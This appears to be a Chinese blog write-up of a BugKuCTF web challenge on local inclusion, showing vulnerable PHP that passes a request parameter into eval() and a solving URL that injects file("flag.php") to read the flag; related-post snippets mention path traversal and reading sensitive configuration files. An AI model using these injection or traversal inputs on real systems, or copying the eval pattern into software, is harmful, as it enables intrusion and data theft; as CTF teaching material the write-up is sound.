BugKuCTF WEB 本地包含

http://123.206.87.240:8003/

题解：

<?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__);
?>

原理：

$_REQUEST[]支持det、post两种方式发送过来的请求

var_dump()函数显示关于一个或多个表达式的结构信息，包括表达式的类型与值；数组将递归展开值，通过缩进显示其结构

eval()函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码，且必须以分号结尾。
show_source() 函数对文件进行语法高亮显示,是 highlight_file() 的别名

URL

http://123.206.87.240:8003/?hello=file("flag.php")

BugKuCTF WEB 本地包含相关推荐

BugkuCTF——WEB（1）
一.Web2 题目网址:http://123.206.87.240:8002/web2 鼠标右键,查看网页源代码即可看到flag 二.计算器题目网址:http://123.206.87.240:8 ...
cfm本地包含漏洞利用
1.读取metabase.xml/web.xml /password.properities敏感文件,得知www路径,coldfusion路径,coldfusion后台加密密码. http://www ...
BugkuCTF web基础$_GET
前言写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...
Web本地存储和小程序本地存储的区别
web本地存储 localStorage.setItem("key","value") localStorage.getItem("key" ...
HTML5中web本地存储
1.1.1 什么是html5web本地存储(web存储)? html5web本地存储可以在本地存储用户的浏览数据.web本地存储相对cookie更加安全和快速,它的数据不会保存在服务器上.它也可以存储 ...
远程本地包含漏洞原理
inurl:index.php fees shop link.codes http://www.moneyfastonline.com/index.php?read=../../../../../.. ...
web本地存储-IndexedDB
IndexedDB, HTML5中的一种数据存储方式,索引数据库. 一个网站可能有一个或多个 IndexedDB 数据库,每个数据库必须具有惟一的名称.一个数据库可包含多个对象存储,一个对象存储相当于 ...
BugKuCTF WEB flag在index里
http://123.206.87.240:8005/post/ 题解:本地文件包含漏洞+php伪协议的结合应用原理:php的封装协议:http://php.net/manual/zh/wrappe ...
Web本地计算发展史
Web计算本地化(前端技术)历史-HTML->CSS->Javascript 最初的网络上传输的内容是[纯文本]的,从网络上传输回来直接通过字符界面展示出来就够了,本地几乎不用计算. 后来 ...

BugKuCTF WEB 本地包含

BugKuCTF WEB 本地包含相关推荐

最新文章

热门文章